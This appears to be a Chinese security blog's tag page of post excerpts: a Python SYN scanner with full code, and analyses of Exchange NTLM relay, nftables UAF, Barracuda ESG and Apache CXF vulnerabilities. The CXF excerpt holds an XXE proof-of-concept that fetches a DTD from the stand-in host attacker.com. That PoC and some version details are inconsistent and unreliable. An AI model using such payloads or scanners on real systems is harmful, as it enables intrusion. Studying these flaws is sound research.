Below you will find pages that utilize the taxonomy term “技术研究”
深入现代网络扫描器原理与实践:自制 Python SYN 扫描器与服务指纹识别
1. 引言:现代网络扫描器的重要性
网络扫描器是安全工作中基础且强大的工具。理解现代扫描器技术,能更好应对网络安全挑战。现代扫描器需具备:高速扫描、精准识别、深度检测、规避检测、灵活扩展等特性。
本文将剖析现代扫描器原理,并实践自制 Python SYN 扫描器和服务指纹识别,助您理解底层技术,提升安全工具开发技能。
2. 现代网络扫描器架构与核心原理
现代扫描器是复杂系统,核心架构包括:扫描引擎、服务指纹识别模块、漏洞检测模块、任务管理、配置管理、用户界面、数据存储等组件。
2.1 核心扫描技术:SYN 扫描
原理: SYN 扫描利用 TCP 三次握手,只发 SYN 包,不完成三次握手。
-
扫描过程: 发送 SYN 包 -> 收 SYN-ACK (开放) 或 RST (关闭)。
-
优势: 快速、隐蔽、准确。
-
代码实现 (Python Raw Socket):
import socket import struct import time import random import array def syn_scan_port(target_ip, port): """SYN 扫描单个端口""" try: # 创建 Raw Socket raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) raw_socket.settimeout(2) # 构造 IP 头部 ip_header = struct.pack('!BBHHHBBHLL', 0x45, 0, 20+20, random.randint(1, 65535), 0, 64, socket.IPPROTO_TCP, 0, socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip)) # 构造 TCP 头部 tcp_header = struct.pack('!HHLLBBHHH', random.randint(1024, 65535), port, 0, 0, 5 << 4 | 0, 0, 0, 0, 0) tcp_syn_flags = 0x02 tcp_header_list = list(struct.unpack('!HHLLBBHHH', tcp_header)) tcp_header_list[4] = (tcp_header_list[4] | tcp_syn_flags) tcp_header = struct.pack('!HHLLBBHHH', *tcp_header_list) # 计算校验和 ip_checksum = calculate_checksum(ip_header) ip_header = ip_header[:10] + struct.pack('!H', ip_checksum) + ip_header[12:] pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header)) tcp_checksum = calculate_checksum(pseudo_header + tcp_header) tcp_header = tcp_header[:16] + struct.pack('!H', tcp_checksum) + tcp_header[18:] # 发送 SYN 数据包 packet = ip_header + tcp_header raw_socket.sendto(packet, (target_ip, port)) # 接收响应 recv_packet = raw_socket.recvfrom(65535) ip_header_reply = recv_packet[0][0:20] ip_header_unpack = struct.unpack('!BBHHHBBHLL', ip_header_reply) ip_protocol_reply = ip_header_unpack[6] tcp_header_reply = recv_packet[0][ip_header_unpack[2]:ip_header_unpack[2]+20] tcp_header_unpack_reply = struct.unpack('!HHLLBBHHH', tcp_header_reply) tcp_flags_reply = tcp_header_unpack_reply[5] # 判断端口状态 if tcp_flags_reply & 0x12 == 0x12: return "open" elif tcp_flags_reply & 0x14 == 0x14: return "closed" else: return "filtered" except socket.timeout: return "filtered" except socket.error: return "error" finally: if 'raw_socket' in locals(): raw_socket.close() def calculate_checksum(packet): """计算 IP/TCP 头部校验和""" if len(packet) % 2 != 0: packet += b'\0' res = sum(array.unpack("!H", packet[i:i+2])[0] for i in range(0, len(packet), 2)) res = (res >> 16) + (res & 0xffff) res += res >> 16 return (~res) & 0xffff
2.2 服务指纹识别技术 (HTTP 服务为例)
服务指纹识别旨在识别服务类型和版本。常用技术包括 Banner Grabbing、协议分析、应用层探测,并依赖服务指纹数据库。
CVE-2024-21410:Microsoft Exchange Server 特权提升漏洞深度分析与缓解
1. 漏洞概述:CVE-2024-21410 Exchange Server 特权提升
CVE-2024-21410 是 Microsoft Exchange Server 在 2024 年 2 月安全更新中修复的一个严重特权提升漏洞。该漏洞被标记为 0day 漏洞,并且微软已确认该漏洞 已被在野利用,风险等级极高。
漏洞编号 (CVE): CVE-2024-21410
漏洞类型: 特权提升
受影响组件: Microsoft Exchange Server
严重程度: 严重
利用条件: 攻击者需要能够捕获到用户泄露的 Net-NTLMv2 哈希,并将该哈希中继到易受攻击的 Exchange Server。
漏洞危害: 成功利用此漏洞的攻击者,可以将捕获到的 Net-NTLMv2 哈希中继到 Exchange Server,并 以被中继用户的身份通过身份验证,从而获得与该用户相同的权限,可能导致敏感信息泄露、越权操作等严重安全风险。
2. 漏洞原理分析:NTLM 中继攻击与 Exchange Server
CVE-2024-21410 漏洞的核心在于 NTLM 中继攻击 (NTLM Relay Attack) 在 Microsoft Exchange Server 环境中的利用。要理解此漏洞,需要先了解 NTLM 认证机制和 NTLM 中继攻击的原理。
2.1 NTLM 认证机制简介
NTLM (NT LAN Manager) 是一种 Windows 操作系统中常用的身份验证协议。在 NTLM 认证过程中,客户端需要向服务器证明自己的身份,而无需直接发送明文密码。 NTLMv2 是 NTLM 的增强版本,安全性相对更高,但仍然存在被中继攻击的风险。
OpenWrt WireGuard VPN 服务器配置与性能考量
1. 导言:OpenWrt 与 WireGuard 的应用价值
OpenWrt 作为一款功能丰富的 Linux 发行版,常被应用于路由器设备,赋予其高度的定制化能力。在构建安全网络环境方面,OpenWrt 亦能发挥重要作用。WireGuard,作为一种新兴的 VPN 协议,以其效率、安全性和相对简易的配置,受到越来越多的关注。
在 OpenWrt 路由器上部署 WireGuard VPN 服务器,可以将两者的优势相结合,为用户提供一种可行的远程访问和数据加密方案。本文将对 OpenWrt 上 WireGuard VPN 服务器的配置过程进行探讨,并对性能优化方面进行一些分析。
2. WireGuard 在 OpenWrt 中的应用优势
选择在 OpenWrt 上部署 WireGuard VPN 服务器,可能具备以下几点优势:
- 性能表现: WireGuard 协议在性能方面通常表现良好,其加密算法和内核实现均较为高效,相较于部分传统 VPN 协议,或能在吞吐量和延迟方面提供更优的结果,这在资源相对有限的路由器设备上可能更具优势。
- 安全性: WireGuard 采用了现代加密技术,理论上具备较高的安全强度,能够为数据传输提供安全保障。
- 配置相对简洁: WireGuard 的配置相较于某些 VPN 协议,通常更为简洁,配置参数较少,或能降低配置复杂度和出错概率。
- OpenWrt 的集成: OpenWrt 官方固件对 WireGuard 提供了较好的支持,内核模块和用户工具均可在 OpenWrt 软件包仓库中获取,安装和配置较为便利。
- OpenWrt 的可扩展性: OpenWrt 系统本身具备较高的灵活性,用户可以根据实际需求对 WireGuard 进行定制配置,并能与 OpenWrt 提供的其他功能模块协同工作,构建功能相对完善的 VPN 网关。
3. 环境准备:OpenWrt 路由器与必要条件
在开始配置 WireGuard VPN 服务器之前,请确保已满足以下条件:
Proxmox VE 存储故障案例分析:LVM Metadata 损坏与恢复实践
1. 故障概述:PVE 存储池状态异常
近期,我们维护的 Proxmox VE (PVE) 集群中,一台服务器的存储系统出现异常。监控系统显示,local-lvm 存储池 IO 延迟显著升高,部分虚拟机响应缓慢直至停止工作。经初步排查,确认 local-lvm 存储池状态变为 inactive。
在 PVE Web 界面中,存储状态信息显示 local-lvm 处于非激活状态。
2. 故障诊断:LVM 卷组 Metadata 损坏
为进一步诊断故障,登录 PVE 管理节点进行详细排查。使用 pvesm status 命令确认存储池状态为 inactive。 命令行输出如下:
root@pve:~# pvesm status
Name Type Status Total Used Available %
local dir active 101989376 8178896 93810480 8.02%
local-lvm lvm inactive 255789056 2841728 252947328 1.11%
随后,利用 LVM 工具进行深层分析。通过 lvdisplay 和 vgdisplay 命令检查 LVM 卷组状态,发现卷组处于 NOT available 状态。 尝试使用 vgchange -ay vg0 激活卷组,系统返回错误信息: “Volume group vg0 metadata corrupted”。
深入分析 CVE-2023-32233:Linux 内核 Netfilter UAF 提权漏洞
最近研究了 CVE-2023-32233,这是一个影响 Linux 6.3 及之前版本 的 UAF(Use-After-Free) 漏洞。由于 nftables 近年来已经成为 Linux 的主要防火墙组件,因此该漏洞的影响范围较广,攻击者可以利用它在 CAP_NET_ADMIN 权限下提权至 root。
1. 漏洞背景
1.1 Netfilter 与 nftables 简介
Netfilter 是 Linux 内核防火墙的核心组件,而 nftables 作为 iptables 的替代方案,被广泛应用于防火墙、流量过滤和 NAT 规则管理。
该漏洞出现在 nftables 代码逻辑中,攻击者可以通过 UAF 访问已释放的 nft_set_elem 结构,导致堆内存覆盖,最终实现提权。
1.2 影响范围
受影响的内核版本:
- Linux 5.13 - 6.3
- Ubuntu 22.04、Debian 11、Arch Linux、Fedora 37 等默认开启
nftables的系统
2. 漏洞分析
2.1 代码成因
漏洞的核心问题在于 nft_set_elem 结构释放后,仍然被访问:
static void nft_setelem_activate(const struct nft_ctx *ctx,
struct nft_set *set,
struct nft_set_elem *elem)
{
if (nft_set_elem_is_active(set, elem))
return;
elem->priv = nft_trans_elem(ctx->tx);
}
在 nft_setelem_activate() 中,elem->priv 被赋值为 nft_trans_elem(ctx->tx),但 elem 可能已经被释放,这样攻击者就能劫持 priv 指针,导致UAF 访问。
久违的更新:最近的研究、漏洞复现与一些思考
好久没更新了,博客还是得写点东西,不然感觉像是荒废了。不过写博客这事,还是随缘,毕竟日常事情够多的,没必要硬凑内容。
这一阵子主要在搞漏洞复现和一些技术积累,趁着空闲整理下笔记,顺便聊聊最近遇到的一些有意思的东西。
近期的安全研究
1. CVE-2023-2868:邮件安全网关远程命令执行漏洞
前段时间研究了一下 CVE-2023-2868,这是一个 Barracuda Email Security Gateway(ESG)上的 RCE 漏洞。官方 CVSS 评分 9.8,基本上是“不能不修”的级别。
这个漏洞本质上是对 TAR 格式解析的处理不当,导致攻击者可以构造特定的压缩包,在解析时触发远程命令执行。这个漏洞比较麻烦的一点是,它早在 2022 年 10 月就被 APT 组织利用了,而 Barracuda 直到 2023 年 5 月才公开披露,等于白送攻击者大半年时间。
漏洞复现过程就不细讲了,核心点在于:
- 需要找到一个受影响版本的 ESG 设备(虚拟环境搭建不算难,但环境获取相对麻烦)。
- 发送特制的 TAR 附件,利用 ESG 解析过程中的漏洞执行任意命令。
- 观察服务器端返回情况,确认成功 RCE。
Barracuda 官方建议是尽快升级,但考虑到 APT 组织长期利用的可能性,真正的解决方案其实是直接换设备,因为攻击者可能早就植入了后门。补丁能修漏洞,但不能抹掉入侵历史。
2. 某些老旧 Web 框架的安全问题
最近看了一些老项目,发现很多仍然在用老旧的 Web 框架,有的甚至是 2016 年左右的代码,安全性堪忧:
- Spring 早期版本的 Actuator 接口暴露问题
/actuator/env、/actuator/configprops这些接口在很多老项目里默认是开放的,一些开发者甚至没有权限控制机制,直接导致环境变量和应用配置泄露。 - Shiro 反序列化漏洞
还见到有些项目用的 Shiro 版本很老,rememberMe反序列化漏洞依然存在,虽然 Shiro 早就修了,但这些项目压根没升级。
有时候搞这些老项目,比分析 0day 还麻烦,因为很多代码根本没文档,甚至得靠翻源码才能搞清楚逻辑。更别提修复了,动一块就容易牵扯一大片。
Apache CXF远程代码执行漏洞(CVE-2022-46363)分析与复现
春节假期结束,收拾心情重新投入到工作中。趁着年后这段时间,深入研究了一下Apache CXF最近爆出的CVE-2022-46363漏洞,这里跟大家分享下我的分析过程。
漏洞概述
- CVE编号: CVE-2022-46363
- 影响版本:
- Apache CXF < 3.4.10
- Apache CXF 3.5.0 到 3.5.4
- CVSS评分: 7.5 (高危)
- 漏洞类型: 远程代码执行
漏洞原理分析
这个漏洞存在于CXF的WADL到Java代码生成工具中。具体来说,是在处理WADL文档中的resource元素时,对外部实体引用(XXE)的处理不当。
关键代码片段:
public class WADLToJavaProcessor {
private void processResources(Resources resources) {
for (Resource r : resources.getResource()) {
// 这里直接处理外部资源,没有做足够的安全检查
String path = r.getPath();
processResource(path);
}
}
}
漏洞触发条件
- WADL文档中包含恶意的外部实体引用
- 服务器启用了WADL生成功能
- 攻击者能够控制WADL文档的输入
漏洞复现
1. 环境搭建
<!-- pom.xml -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxrs</artifactId>
<version>3.4.9</version>
</dependency>
2. 构造POC
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<application xmlns="http://wadl.dev.java.net/2009/02">
<resources base="http://example.com/">
<resource path="test">
&xxe;
</resource>
</resources>
</application>
3. 验证过程
- 启动包含漏洞版本的CXF服务
- 发送构造的WADL文档
- 观察服务器响应和日志
修复方案
-
官方修复方案: